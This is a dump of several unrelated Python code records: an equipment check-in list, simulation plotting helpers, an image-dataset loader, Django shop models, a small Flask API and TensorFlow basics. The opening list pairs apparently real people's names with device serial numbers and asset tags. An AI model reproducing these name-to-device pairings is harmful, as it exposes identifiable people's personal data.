\"SHI16673\",\"None\"], #\"Charles Marr\",\n [\"HP Laptop\", \"5CD7164PGX\", \"SHI16866\", \"None\"], #\"Chris Lopez\", \n [\"HP Laptop\",\"None\", \"SHI10835\",\"None\"], #\"Chris Sabella\", \n [\"HP Laptop\", \"None\", \"SHI13012\", \"None\"], #\"Chris Sullo\", \n\t[\"HP Laptop\", \"None\", \"SHI13970\", \"None\"], #\"Christie Anderson\", \n\t[\"HP Laptop\", \"None\", \"SHI9810\", \"None\"], #\"Christie Talorico\", \n [\"iPad Mini 4/HP Laptop\", \"F9FQXIEQGHMH\", \"SHI14136\", \"None\"], #\"Curtis Booker\", \n [\"HP Laptop & Mouse\", \"None\", \"SHI9892\", \"None\"], #\"Damian Latourette\", \n [\"Samsung Tablet\", \"RF2G704W7RR\", \"None\", \"None\"], #\"Daniel Carreira\", \n [\"iPad/Keboard/Pencil\", \"DMPTF1BHGXPX,FTPTM1P3H6Q8,C4MTDE79GWTJ\", \"None\"], #\"Daniel Mercado\", \n [\"HP Laptop\", \"None\", \"SHI16257\", \"None\"], #\"David Gerson\", \n [\"None\", \"5CG51900DP\", \"SHI13035\", \"None\"], #\"Dora Rodriguez\", \n [\"HP Laptop & USB C Cable\", \"None\", \"SHI16411\", \"None\"], #\"Edward Nunez\", \n\t[\"None\", \"VAWLOO267G345\", \"None\", \"None\"], #\"Eric Flores\",\n [\"HP Laptop\", \"None\", \"SHI10102\", \"None\"], #\"Eric Penderson\", \n [\"Toshiba Laptop\", \"None\", \"7F114811H\", \"None\"], #\"Eric Severence\", \n [\"Apple iPad/Keboard/Pencil\", \"DMPTD676GXPX,FTPTL8RYH6Q8,FQFTD4HCGWTJ\", \"None\", \"None\"], #\"Emee Tupino\", \n\t[\"HP Laptop\", \"None\", \"SSHI16681\", \"None\"], #\"Ezequial Vasquez\", \n [\"HP Laptop\", \"None\", \"SHI16680\", \"None\"], #\"Faisal Mohammad\", \n [\"HP Laptop\", \"None\", \"SHI2867\", \"None\"], #\"Felipa Cousens\", \n [\"None\", \"None\", \"US2187817\", \"None\"], #Hank Tullis\", \n [\"HP Laptop & Charger\", \"None\", \"SHI13179\", \"None\"], #\"Hector Rivera\", \n [\"HP Laptop\", \"None\", \"SHI122878\", \"None\"], #\"Huan Ching Liao\", \n [\"HP Laptop\", \"None\", \"SHI10226\", \"None\"], #\"James Dodge\", \n [\"Honeywell CT50\", \"Panasonic FZ-1\", \"None\", \"None\"], #\"Jason Folmar\", \n\t[\"HP Laptop\", \"None\", \"SHI16678\", \"None\"], #\"Jeffrey Diggs\", \n [\"IPAD\", \"DMPQMBE8GEWQ\", \"None\", \"None\"], #\"John Giftus\", \n [\"Dell Laptop\", \"7E10547OH\", \"None\", \"None\"], #\"John Popovich \n [\"HP Laptop\", \"5CD7164PG3\", \"SHI16683\", \"None\"], #\"Jordan Hriniak\", \n [\"Patriot Harddrive\", \"PCGT11255\", \"None\", \"None\"], #\"Jose Lopez\", \n [\"JBL Speaker/Alienware Laptop\", \"TL0284HG/DFYH362\", \"None\", \"None\"], #\"Josue Cardona\", \n [\"HP Laptop\", \"SCD7164PPO\", \"None\", \"None\"], #\"Justin Rindler\", \n [\"HP Laptop\", \"None\", \"SHI12722\", \"None\"], #\"Keith K\", \n [\"HP Laptop\", \"None\", \"SHI16821\", \"None\"], #\"Keith Walker\", \n [\"iPad\", \"DMPVG2YFHP51\", \"None\", \"None\"], #\"Kendell Lucas\", \n [\"HP Laptop\", \"None\", \"SHI16409\", \"None\"], #\"Kenny Hutchinson\", \n\t[\"None\", \"XAW10025989396\", \"None\", \"None\"], #\"Kotey Ashie\", \n\t[\"HP Laptop\", \"None\", \"SHI12213\", \"None\"], #\"Kyle Burke\",\n [\"HP Laptop\", \"None\", \"SHI9810\", \"None\"], #\"Kristy Talorico\", \n\t[\"None\", \"F9FMX32YFCM6\", \"None\", \"None\"], #\"Kyle Volker\",\n [\"Toshiba Laptop\", \"8G165723H\", \"None\", \"None\"], #\"Lee Seaman\", \n [\"HP Laptop\", \"None\", \"SHI16272\", \"None\"], #\"Mark Van Kleef\", \n [\"HP Laptop\", \"None\", \"SHI16170\", \"None\"], #\"Michael Scott\", \n [\"HP Laptop\", \"None\", \"SHI16682\", \"None\"], #\"Michael Pepe\", \n [\"Dell\", \"7F04313H\", \"None\", \"None\"], #\"Mike Finley\", \n [\"Toshiba Laptop\", \"HC50G12/3QTD4Q1\", \"None\", \"None\"], #\"Mike Milano\", \n [\"HP Laptop\", \"5CD7164PH2\", \"SHI16676\", \"None\"], #\"Mudit Bhatt\", \n [\"HP Laptop\", \"None\", \"SHI14114\", \"None\"], #\"Nicole Dejesus\", \n [\"HP Laptop\", \"None\", \"SHI12589\", \"None\"], #\"Nicholas Prociuk\", \n [\"iPad\", \"None\", \"CONFIG-1112\", \"None\"], #\"Nihad Issa\", \n [\"HP Laptop\", \"None\", \"SHI131628\", \"None\"], #\"Oscar Vartanian\",\n\t[\"None\", \"RF2F6136QYV\", \"None\", \"None\"], #\"Patrick Isitua\", \n [\"Toshiba Laptop\", \"7F052102H\", \"None\", \"None\"], #\"Paul Brew\", \n [\"HP Laptop\", \"DMP5K398GPX\", \"SHI13805\", \"None\"], #\"Paul Coffey\", \n [\"HP Laptop\", \"None\", \"SHI18414\", \"None\"], #\"Peter Zhu\", \n\t[\"Dell\", \"GKZC452\", \"None\", \"None\"], #\"Rashi Dillard\", \n [\"HP Laptop\", \"None\", \"SHI13847\", \"None\"], #\"Rick Karp\", \n [\"HP Laptop,cables\", \"None\", \"SHI8646\", \"None\"], #\"Rob Harrison\",\n\t[\"DELL\", \"BHTUP32\", \"None\", \"None\"], #\"Robert Button\",\n [\"Apple MacBook/Powercord\", \"CO2HM9XFDTY3\", \"None\", \"None\"], #\"Rohan Grandeson\",\n\t[\"HP LAPTOP MACBOOK/ IBM\", \"CLMP4UWPDTY3/GCG25IBM\", \"SHI16540\", \"None\"], #\"Ronald Lofton\",\n [\"HP Laptop\", \"None\", \"SHI16872\", \"None\"], #\"Ryan Bowen\", \n [\"Toshiba/Dell\", \"7E064848H\", \"None\", \"None\"], #\"Scott Lane\", \n [\"ASETT\", \"516320\", \"None\", \"None\"], #\"Sean Larson\",\n\t[\"HP Laptop\", \"None\", \"SHI16686\", \"None\"], #\"Shantasia Cooper\",\n [\"HP Laptop\", \"SCD7155ZC1\", \"SHI16632\" , \"None\"], #\"Shawn Sabino\", \n [\"HP Laptop\", \"None\", \"SHI14000\", \"None\"], #\"Steve Alt\", \n\t[\"HP Laptop\", \"None\", \"SHI18747\", \"None\"], #\"Ted Klein\",\n [\"HP Laptop\", \"5CD7012GCM\", \"SHI16412\", \"None\"], #\"Terence Mallory\", \n [\"2 TB Harddrive\", \"None\", \"None\", \"None\"], #\"Thomas O. Dell\", \n [\"Lenovo Laptop\", \"WKSP000420E2TC\", \"None\", \"None\"], #\"Tishonda Carson\", \n [\"HP Laptop\", \"None\", \"SHI10092\", \"None\"], #\"Tom Mililli\", \n [\"Lenovo Laptop, 9 USB\", \"PK07ER1\", \"None\"], #\"William Morris\", \n [\"HP Laptop\", \"None\", \"SHI16492\", \"None\"], #\"Yomi Idris\", \n\t[\"HP Laptop\", \"None\", \"SHI8747\", \"None\"], #\"Younes El Hatimi\",\n [\"None\", \"584048-001\", \"None\", \"None\"] #\"Yurity Stus\", \n ]","sub_path":"pyprojects/checkin.py","file_name":"checkin.py","file_ext":"py","file_size_in_byte":6015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"104825624","text":"# setup File for Levy Process\n# author: Edward J. Xu\n# date: 190620\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport logging\n\n\ndef get_pdf(list_result, num_bin):\n \"\"\"\n Get position and value for prob density function.\n :param list_result: list of result\n :param num_bin: number of bins for the plot\n :return:\n \"\"\"\n array_density, array_edge = np.histogram(list_result, bins=num_bin, density=True)\n len_edge = array_edge[1] - array_edge[0]\n list_density = [i / len_edge for i in array_density.tolist()]\n print(\"sum(list_density) = {} ;\".format(sum(list_density)))\n list_position = array_edge[0: (len(array_edge) - 1)]\n list_position = [i + len_edge / 2 for i in list_position]\n return list_position, list_density\n\n\ndef hist(list_result, num_bin, str_var, name_fig, whe_show=False):\n \"\"\"\n Plot the histogram using line.\n :param list_result:\n :param num_bin:\n :param str_var: name string of the variable\n :param name_fig: name string of the figure\n :param whe_show: whether to show the plot\n :return:\n \"\"\"\n list_position, list_density = get_pdf(list_result, num_bin)\n n_sim = len(list_result)\n fig = plt.figure(figsize=(10, 8))\n plt.style.use(\"fivethirtyeight\")\n plt.plot(list_position, list_density)\n plt.xlabel('Class')\n plt.ylabel('Density')\n plt.title('Histogram of {} from {} Simulations'.format(str_var, n_sim), fontsize=15)\n plt.tight_layout()\n if whe_show: # Whether to show the plot\n plt.show()\n fig.savefig('images/' + name_fig + '.png', bbox_inches='tight')\n return list_density\n\n\ndef jump_pa(list_s, list_p, list_a, list_m, name_fig, whe_show=False):\n \"\"\"\n Scatter plot of all the jumps\n \"\"\"\n fig = plt.figure(figsize=(10, 8))\n # plt.xkcd()\n plt.style.use(\"fivethirtyeight\")\n for i in range(len(list_s)):\n plt.plot([list_s[i], list_s[i]], [list_p[i], list_a[i]], c='silver', linewidth=0.5)\n plt.scatter(list_s, list_p, label=\"p: pre-jump\")\n plt.scatter(list_s, list_a, label=\"a: after-jump\")\n plt.plot(list_s, list_m, c='red', label='m: max X so far')\n plt.xlabel('Time')\n plt.ylabel('Value')\n plt.legend() # loc='upper right'\n plt.title('Scatter Plot of Result from Simulations', fontsize=15)\n plt.tight_layout()\n if whe_show: # Whether to show the plot\n plt.show()\n fig.savefig('images/' + name_fig + '.png', bbox_inches='tight')\n\n\ndef inter_pa(list_s, list_p, list_a):\n \"\"\"\n Obtain the list like \"p_1, a_1, p_2, a_2, p_3, a_3, ...\" from list of p and a\n :param list_s:\n :param list_a:\n :param list_p:\n :return: list_ss: list like \"s_1, s_1, s_2, s_2, s_3, s_3, ...\"\n \"\"\"\n n = len(list_s)\n list_pa = [0] * 2 * n\n list_ss = [0] * 2 * n\n if not (n == len(list_p) and n == len(list_a)):\n logging.error(\"len(list_s), len(list_p) and len(list_a) are not equal!\")\n for i in range(n):\n list_pa[2 * i] = list_p[i]\n list_pa[2 * i + 1] = list_a[i]\n list_ss[2 * i] = list_s[i]\n list_ss[2 * i + 1] = list_s[i]\n return list_ss, list_pa\n\n\ndef line_pam(list_s, list_p, list_a, list_m, name_fig, whe_show=False):\n \"\"\"\n Line plot of the realization\n :param list_s:\n :param list_p:\n :param list_a:\n :param list_m:\n :param name_fig:\n :param whe_show:\n :return:\n \"\"\"\n fig = plt.figure(figsize=(10, 8))\n plt.style.use(\"fivethirtyeight\")\n list_ss, list_pa = inter_pa(list_s, list_p, list_a)\n plt.plot(list_ss, list_pa, label='X')\n plt.scatter(list_s, list_m, c='r', label='M')\n plt.xlabel('Time')\n plt.ylabel('Value')\n plt.title('Line Plot of Result from Simulations', fontsize=15)\n plt.legend()\n plt.tight_layout()\n if whe_show: # Whether to show the plot\n plt.show()\n fig.savefig('images/' + name_fig + '.png', bbox_inches='tight')\n\n\ndef line_fpp(list_a, list_prob, name_fig, whe_show=False):\n fig = plt.figure(figsize=(10, 8))\n plt.style.use(\"fivethirtyeight\")\n plt.plot(list_a, list_prob) # , linestyle='--', marker='o'\n plt.xlabel('a')\n plt.ylabel('Probability')\n # plt.xticks(ticks=list_a, labels=list_a)\n # plt.annotate(\n # 'THE DAY I REALIZED\\nI COULD COOK BACON\\nWHENEVER I WANTED',\n # xy=(70, 1), arrowprops=dict(arrowstyle='->'), xytext=(15, -10))\n plt.title('Line Plot of First Passage Probability under Different a', fontsize=15)\n plt.tight_layout()\n if whe_show: # Whether to show the plot\n plt.show()\n fig.savefig('images/' + name_fig + '.png', bbox_inches='tight')\n\n\ndef line_fpp_multi(list_list_a, list_list_prob, list_label, name_fig, whe_show=False):\n fig = plt.figure(figsize=(10, 8))\n plt.style.use(\"fivethirtyeight\")\n for i in range(len(list_list_a)):\n plt.plot(list_list_a[i], list_list_prob[i], label=list_label[i]) # , linestyle='--', marker='o'\n plt.xlabel('a')\n plt.ylabel('Probability')\n # plt.xticks(ticks=list_a, labels=list_a)\n # plt.annotate(\n # 'THE DAY I REALIZED\\nI COULD COOK BACON\\nWHENEVER I WANTED',\n # xy=(70, 1), arrowprops=dict(arrowstyle='->'), xytext=(15, -10))\n plt.title('Line Plot of First Passage Probability under Different a', fontsize=15)\n plt.legend()\n plt.tight_layout()\n if whe_show: # Whether to show the plot\n plt.show()\n fig.savefig('images/' + name_fig + '.png', bbox_inches='tight')\n\n\ndef line_multi_pa(mat_s, mat_p, mat_a, name_fig, whe_show=False):\n n_sim = len(mat_p[:, 1])\n if n_sim != len(mat_a[:, 1]):\n logging.error(\"len(mat_p[:, 1]) and len(mat_a[:, 1]) are not equal!\")\n fig = plt.figure(figsize=(10, 8))\n plt.style.use(\"fivethirtyeight\")\n for i in range(n_sim):\n list_ss, list_pa = inter_pa(mat_s[i, :], mat_p[i, :], mat_a[i, :])\n plt.plot(list_ss, list_pa, linewidth=0.5, c='gray')\n plt.xlabel('arrival time')\n plt.ylabel('value of X prior to and after jump')\n plt.title('Line Plot of Multiple Realization', fontsize=15)\n plt.tight_layout()\n if whe_show: # Whether to show the plot\n plt.show()\n fig.savefig('images/' + name_fig + '.png', bbox_inches='tight')\n\n\ndef get_list_color(n_set):\n \"\"\"\n Get the list with enough number of colors\n :param n_set:\n :return:\n \"\"\"\n list_color_raw = ['tomato', 'lightskyblue', 'wheat', 'limegreen', 'violet']\n list_color = ['tomato', 'lightskyblue', 'wheat', 'limegreen', 'violet']\n k = 2\n while len(list_color) < n_set:\n list_color = list_color_raw * k\n k = k + 1\n print(k)\n return list_color\n\n\ndef line_simulate_multi(list_mat_s, list_mat_p, list_mat_a, name_fig, whe_show=False):\n n_set = len(list_mat_s)\n n_sim = len(list_mat_p[1][:, 1])\n # if n_sim != len(mat_a_1[:, 1]):\n # logging.error(\"len(mat_p[:, 1]) and len(mat_a[:, 1]) are not equal!\")\n fig = plt.figure(figsize=(10, 8))\n plt.style.use(\"fivethirtyeight\")\n list_color = get_list_color(n_set)\n # Plot the lines\n for j in range(n_set):\n for i in range(n_sim):\n list_ss, list_pa = inter_pa(list_mat_s[j][i, :], list_mat_p[j][i, :], list_mat_a[j][i, :])\n plt.plot(list_ss, list_pa, linewidth=0.5, c=list_color[j])\n plt.xlabel('arrival time')\n plt.ylabel('value of X prior to and after jump')\n plt.title('Line Plot of Simulations with Different Sets of Parameters', fontsize=15)\n plt.tight_layout()\n if whe_show: # Whether to show the plot\n plt.show()\n fig.savefig('images/' + name_fig + '.png', bbox_inches='tight')\n\n","sub_path":"src/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":7530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"468491682","text":"import pickle\nimport numpy as np\nimport glob\nimport os, sys\nsys.path.append(os.pardir)\nfrom PIL import Image\n\n# reference\ndataset_dir = \"./dataset\"\n# save file\nsave_file = \"./dat/vegetables4.pkl\"\n\ntrain_num = 6000\nval_num = 1000\ntest_num = 1000\nimg_dim = (100, 100, 3)\nimg_size = 10000\n\ndef shuffle_dataset(x, y):\n \"\"\"\n Shuffle dataset\n\n Parameters\n ----------\n x : Training data\\n\n y : Teaching data\n\n Returns\n -------\n x, y : Shuffled training data and teaching data\n \"\"\"\n perm = np.random.permutation(x.shape[0])\n x = x[perm] if x.ndim == 2 else x[perm]\n y = y[perm]\n\n return x, y\n\ndef _load_img(file_path, normalize=True, flatten=True, one_hot_label=False, verbose=False):\n file_name = os.path.basename(file_path)\n if verbose: print(\"Converting \" + file_name + \" to Numpy Array ...\")\n \n img = Image.open(file_path)\n img = img.convert('RGB')\n dat = [np.array(img)]\n dat = np.array(dat)\n\n if normalize:\n dat = dat.astype(np.float32)\n dat /= 255.0\n \n if one_hot_label:\n dat = _change_one_hot_label(dat)\n dat = _change_one_hot_label(dat)\n dat = _change_one_hot_label(dat)\n\n if not flatten:\n dat = dat.reshape(-1, *img_dim)\n\n if verbose: print(\"Done\")\n\n return dat\n\ndef _load_veg(dir_name):\n dir_path = os.path.join(dataset_dir, dir_name)\n \n print(\"Converting \" + dir_name + \" to Numpy Array ...\")\n\n data = []\n labels = []\n # dictionary = {\n # 'bp': 0, 'bpcolorful': 1, 'bpred': 2, 'bpwith_leaves': 3, 'bpyellow': 4, 'b': 5, 'bwith_leaves': 6,\n # 'c': 7, 'ccolorful': 8, 'cwith_leaves': 9, 'e': 10, 'ewith_leaves': 11, 'g': 12, 'gwhite': 13,\n # 'o': 14, 'ocolorful': 15, 'opurple': 16, 'owith_leaves': 17, 't': 18, 'tcolorful': 19, 'twith_leaves': 20\n # }\n # dictionary = {\n # 'bp': 0, 'bpred': 1, 'bpyellow': 2, 'b': 3, 'c': 4, 'e': 5, 'g': 6, 'gwhite': 7,\n # 'o': 8, 'opurple': 9, 't': 10\n # }\n dictionary = {\n 'bp': 0, 'b': 1, 'c': 2, 'e': 3, 'g': 4, 'o': 5, 't': 6\n }\n cates = glob.glob(os.path.join(dir_path, '*'))\n for cate in cates:\n dirs = glob.glob(os.path.join(cate, '*'))\n for _dir in dirs:\n files = glob.glob(os.path.join(_dir, '*'))\n d = os.path.basename(_dir)\n for file in files:\n img = Image.open(file).convert('RGB')\n data.append(np.array(img))\n labels.append(dictionary[d])\n data = np.array(data)\n labels = np.array(labels)\n data, labels = shuffle_dataset(data, labels)\n print(\"Done!\")\n\n return (data, labels)\n\ndef _convert_numpy():\n dataset = {}\n train_data, train_labels = _load_veg(\"train\")\n test_data, test_labels = _load_veg(\"test\")\n\n dataset['train_img'] = train_data.reshape(-1, img_size)\n dataset['train_label'] = train_labels\n dataset['val_img'] = test_data[:1000].reshape(-1, img_size)\n dataset['val_label'] = test_labels[:1000]\n dataset['test_img'] = test_data[1000:2000].reshape(-1, img_size)\n dataset['test_label'] = test_labels[1000:2000]\n\n return dataset\n\ndef init_veg():\n dataset = _convert_numpy()\n print(\"Creating pickle file ...\")\n with open(save_file, 'wb') as f:\n pickle.dump(dataset, f, -1)\n print(\"Done!\")\n\ndef _change_one_hot_label(X):\n T = np.zeros((X.size, 10))\n for idx, row in enumerate(T):\n row[X[idx]] = 1\n\n return T\n\ndef load_veg(normalize=True, flatten=True, one_hot_label=False):\n \"\"\"\n データセットの読み込み\n\n Parameters\n ----------\n normalize : 画像のピクセル値を0.0~1.0に正規化する\n one_hot_label :\n one_hot_labelがTrueの場合、ラベルはone-hot配列として返す\n one-hot配列とは、たとえば[0,0,1,0,0,0,0,0,0,0]のような配列\n flatten : 画像を一次元配列に平にするかどうか\n\n Returns\n -------\n (訓練画像, 訓練ラベル), (テスト画像, テストラベル)\n \"\"\"\n if not os.path.exists(save_file):\n init_veg()\n\n with open(save_file, 'rb') as f:\n dataset = pickle.load(f)\n\n if normalize:\n for key in ('train_img', 'val_img', 'test_img'):\n dataset[key] = dataset[key].astype(np.float32)\n dataset[key] /= 255.0\n for key in ('train_label', 'val_label', 'test_label'):\n dataset[key] = dataset[key].astype(np.int32)\n\n if one_hot_label:\n dataset['train_label'] = _change_one_hot_label(dataset['train_label'])\n dataset['val_label'] = _change_one_hot_label(dataset['val_label'])\n dataset['test_label'] = _change_one_hot_label(dataset['test_label'])\n\n if not flatten:\n for key in ('train_img', 'val_img', 'test_img'):\n dataset[key] = dataset[key].reshape(-1, *img_dim)\n\n return (dataset['train_img'], dataset['train_label']), (dataset['val_img'], dataset['val_label']), (dataset['test_img'], dataset['test_label'])\n\n\nif __name__ == '__main__':\n init_veg()","sub_path":"image_loader.py","file_name":"image_loader.py","file_ext":"py","file_size_in_byte":4687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"136347096","text":"# -*- coding: utf-8 -*-\n\nfrom django.contrib.auth.models import User\nfrom django.db import models\nimport datetime\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.template import Context, Template\n\nfrom catalog.item import Item\n\ndef sendmail(subject, body):\n mail_subject = ''.join(subject)\n send_mail(mail_subject, body, settings.DEFAULT_FROM_EMAIL,\n settings.SEND_ALERT_EMAIL)\n\nclass Cart(models.Model):\n user = models.ForeignKey(User, verbose_name=u'пользователь')\n item = models.ForeignKey(Item, verbose_name=u'товар')\n count = models.IntegerField(default=1, verbose_name=u'количество')\n date = models.DateTimeField(default=datetime.datetime.now, verbose_name=u'дата добавления')\n \n class Meta:\n verbose_name = u'товар в корзине'\n verbose_name_plural = u'товары в корзине'\n ordering = ['-date']\n \n def __unicode__(self):\n return self.item.name\n \n @staticmethod\n def add_to_cart(user, item_id, count=1):\n alr = Cart.objects.filter(item=item_id)\n if len(alr) == 0:\n Cart(user=user, item=Item.get(item_id), count=count).save()\n else:\n alr[0].count = alr[0].count + count\n alr[0].save()\n \n @staticmethod \n def update(user, dict_):\n for d in dict_:\n Cart(user=user, item=d['item'], count=d['count']).save()\n \n @staticmethod\n def count_plus(user, item_id):\n alr = Cart.objects.filter(item=item_id)[0]\n alr.count += 1 \n alr.save()\n \n @staticmethod\n def count_minus(user, item_id):\n alr = Cart.objects.filter(item=item_id)[0]\n if alr.count <= 1:\n alr.delete()\n return\n alr.count -= 1 \n alr.save()\n \n @staticmethod\n def del_from_cart(user, item_id):\n alr = Cart.objects.filter(item=item_id)\n if len(alr) == 0:\n return\n else:\n Cart.objects.filter(item=item_id).delete()\n \n @staticmethod \n def clear(user):\n Cart.objects.filter(user=user).delete()\n \n @staticmethod\n def get_content(user):\n cart = list(Cart.objects.filter(user=user))\n return cart\n \n @staticmethod\n def get_goods_count_and_sum(user):\n cart = Cart.get_content(user)\n return (sum([x.count for x in cart]), sum([x.count * x.item.price for x in cart]))\n\n\n\nclass Order(models.Model):\n user = models.ForeignKey(User, verbose_name=u'пользователь')\n date = models.DateTimeField(default=datetime.datetime.now, verbose_name=u'дата заказа')\n comment = models.TextField(blank=True, verbose_name=u'комментарий')\n \n class Meta:\n verbose_name = u'заказ'\n verbose_name_plural = u'заказы'\n ordering = ['-date']\n \n def __unicode__(self):\n return str(self.date)\n \n def get_count(self):\n return sum([x.count for x in OrderContent.get_content(self)])\n \n def get_sum(self):\n return sum([x.count * x.item.price for x in OrderContent.get_content(self)])\n \n def save(self, *args, **kwargs):\n super(Order, self).save(*args, **kwargs)\n OrderContent.move_from_cart(self.user, self)\n subject=u'Поступил новый заказ с сайта NaVaz.ru',\n body_templ=u\"\"\"Пользователь: http://navaz.ru/admin/auth/user/{{ o.user.id }}/ \nСодержимое:\n {% for c in o.content.all %}\n Товар: http://navaz.ru/item/{{ c.item.id }}, {{ c.count }} шт. по цене {{ c.item.price }} руб.\n {% endfor %}\nВсего позиций: {{ o.get_count }} шт.\nОбщая стоимость: {{ o.get_sum }} руб. \nСообщение: {{ o.comment }}\n\"\"\"\n body = Template(body_templ).render(Context({'o': self}))\n sendmail(subject, body) \n \nclass OrderContent(models.Model):\n order = models.ForeignKey(Order, verbose_name=u'заказ', related_name='content')\n item = models.ForeignKey(Item, verbose_name=u'товар')\n count = models.IntegerField(default=1, verbose_name=u'количество')\n \n def __unicode__(self):\n return self.item.name\n \n @staticmethod\n def add(order, item, count):\n OrderContent(order=order, item=item, count=count).save()\n \n @staticmethod\n def move_from_cart(user, order):\n cart_content = Cart.get_content(user)\n for c in cart_content:\n OrderContent.add(order, c.item, c.count)\n Cart.clear(user) \n \n @staticmethod\n def get_content(order):\n return list(OrderContent.objects.filter(order=order))\n ","sub_path":"shop/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"538183183","text":"# app.py\nfrom flask import Flask, request, jsonify\nfrom flask_basicauth import BasicAuth\nfrom dotenv import load_dotenv\nimport os\n\nfrom loot_manager import utils\n\napp = Flask(__name__)\n\nload_dotenv()\n\napp.config['BASIC_AUTH_USERNAME'] = os.getenv('BASIC_AUTH_USERNAME')\napp.config['BASIC_AUTH_PASSWORD'] = os.getenv('BASIC_AUTH_PASSWORD')\napp.config['BASIC_AUTH_FORCE'] = True\nbasic_auth = BasicAuth(app)\n\n\n@app.route('/pop_prompt/', methods=['GET'])\ndef pop_prompt():\n # Retrieve the name from url parameter\n item_class = request.args.get(\"class\", None)\n prompt, n_prompts = utils.pop_prompt(item_class)\n\n response = {}\n\n response[\"prompt\"] = prompt[0]\n response[\"template\"] = prompt[1]\n response[\"remaining_prompts\"] = n_prompts\n\n # Return the response in json format\n return jsonify(response)\n\n\n@app.route('/clear_cache/', methods=['GET'])\ndef clear_cache():\n utils.clear_cache()\n return jsonify({\"msg\": \"cleared cache\"})\n\n\n# A welcome message to test our server\n@app.route('/')\ndef index():\n return \"\"\"\n <h1>APIS</h1>\n - /pop_prompt/?class=None [GET] : pops prompt from cache <br>\n - /clear_cache/ [GET] : clears cache backend\n \n \"\"\"\n\n\nif __name__ == '__main__':\n # Threaded option to enable multiple instances for multiple user access support\n app.run(threaded=True, port=5000)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"485742842","text":"import tensorflow as tf\n#Tensorflow Hello example\na = tf.constant([5])\nb = tf.constant([2])\nc = a+b\nd = a*b\nwith tf.Session() as session:\n result = session.run(c)\n result2 = session.run(d)\n print(\"The addition of this two constants is: {0} {1}\".format(result,result2))\n \n# Multiply two matrics \nmatrixA = tf.constant([[2,3],[3,4]])\nmatrixB = tf.constant([[2,3],[3,4]])\nwith tf.Session() as session:\n res= tf.multiply(matrixA, matrixB)\n res2 = tf.matmul(matrixA,matrixB)\n print(session.run(res))\n print(session.run(res2))\n\n\n#Use variable , initialize it\n \na=tf.constant(1000)\nb=tf.Variable(0)\nupdate = tf.assign(b,a)\ninit_op = tf.global_variables_initializer()\nwith tf.Session() as session:\n session.run(init_op) \n session.run(update)\n print(session.run(b))\n \n#Fibonacci sequence - method1\nmyarray = [tf.constant(1),tf.constant(1)]\nfor i in range(2,10): \n myarray.append(tf.add(myarray[i-1],myarray[i-2]))\n\nwith tf.Session() as session:\n result = session.run(myarray)\n print(result)\n\n\n#Fibonacci sequence - method2\na = tf.Variable(1)\nb = tf.Variable(1)\nc = tf.add(a,b)\ntemp = tf.Variable(0)\ninit_op = tf.global_variables_initializer()\nupdate1 = tf.assign(temp,c)\nupdate2 = tf.assign(a,b)\nupdate3 = tf.assign(b,temp)\n\nwith tf.Session() as session:\n session.run(init_op)\n for i in range(10):\n print(session.run(a))\n session.run(update1)\n session.run(update2)\n session.run(update3)\n \n\n#Factorial using Tensorflow - for loop\nnumber = tf.Variable(4,dtype=tf.int32)\nresult= tf.Variable(1)\nupdateNumber = tf.assign(number, tf.subtract(number,1))\ncalcFactorial = tf.assign(result,tf.multiply(result,number))\ninit_op = tf.global_variables_initializer()\n\nwith tf.Session() as session:\n session.run(init_op)\n for i in range(session.run(number),1,-1):\n session.run(calcFactorial)\n session.run(updateNumber)\n print(session.run(result))\n\n#Tensorflow simple lambdas\nt1 = tf.constant(1)\nt2 = tf.constant(2)\n\ndef f1(): return t1+t2\ndef f2(): return t1-t2\n\nres = tf.cond(tf.less(t1, t2), f1,f2)\n\nwith tf.Session() as sess:\n print(sess.run(res))\n\n#parametrised lambdas\ndef f1(p):\n def res(): return t1+t2+p\n return res\n\ndef f2(p):\n def res(): return t1-t2+p\n return res\n\nt1 = tf.constant(1)\nt2 = tf.constant(2)\np1 = tf.constant(3)\np2 = tf.constant(4)\n\nres = tf.cond(tf.less(t1, t2), f1(p1), f2(p2))\n\nwith tf.Session() as sess:\n print(sess.run(res))\n \n\n#While loop tensor basics\n \ndef cond(t1, t2):\n return tf.less(t1, t2)\n\ndef body(t1, t2):\n return [tf.add(t1, 1), t2]\n\nt1 = tf.constant(1)\nt2 = tf.constant(5)\n\nres = tf.while_loop(cond, body, [t1, t2])\n\nwith tf.Session() as sess:\n print(sess.run(res))\n \n \n#Factorial using Tensorflow - while loop\ndef cond(number,res):\n return tf.greater(number, 1) \n\ndef body(number,res):\n return [number-1,res*number]\n\nnumber = tf.constant(4)\nres = tf.constant(1)\n\nres = tf.while_loop(cond, body, [number,res])\n\nwith tf.Session() as sess:\n print(sess.run(res[1]))\n \n#Tensorflow While loop example\na,b = tf.while_loop(lambda a,b: a < 30, lambda a,b: (a*2 , b*3),(1,2))\n\nwith tf.Session() as session:\n result = session.run([a,b])\n print(result)\n\n\n#Factorial using Recursion Python\n \ndef fact(number):\n if(number == 1):\n return 1\n return number * fact(number-1) \n\nnumber = 4\nres = 1\n\nprint(fact(number))\n\n\n#WHile loop fixed number of iterations\n\ndef cond(t1, t2, i, iters):\n return tf.less(i, iters)\n\ndef body(t1, t2, i, iters):\n return [tf.add(t1, 1), t2+1, tf.add(i, 1), iters]\n\nt1 = tf.constant(1)\nt2 = tf.constant(5)\niters = tf.constant(3)\n\nres = tf.while_loop(cond, body, [t1, t2, 0, iters])\n\nwith tf.Session() as sess:\n print(sess.run(res))\n \n \n#while loop conditional break\ndef cond_loop(t1, t2, iters):\n \n def cond(t1, t2, i):\n return tf.less(i, iters)\n\n def body(t1, t2, i):\n def increment(t1, t2):\n def f1(): return tf.add(t1, 1), tf.add(t2, 1)\n return f1\n\n def swap(t1, t2):\n def f2(): return t2, t1\n return f2\n\n t1, t2 = tf.cond(tf.less(i+1, iters),\n increment(t1, t2),\n swap(t1, t2))\n\n return 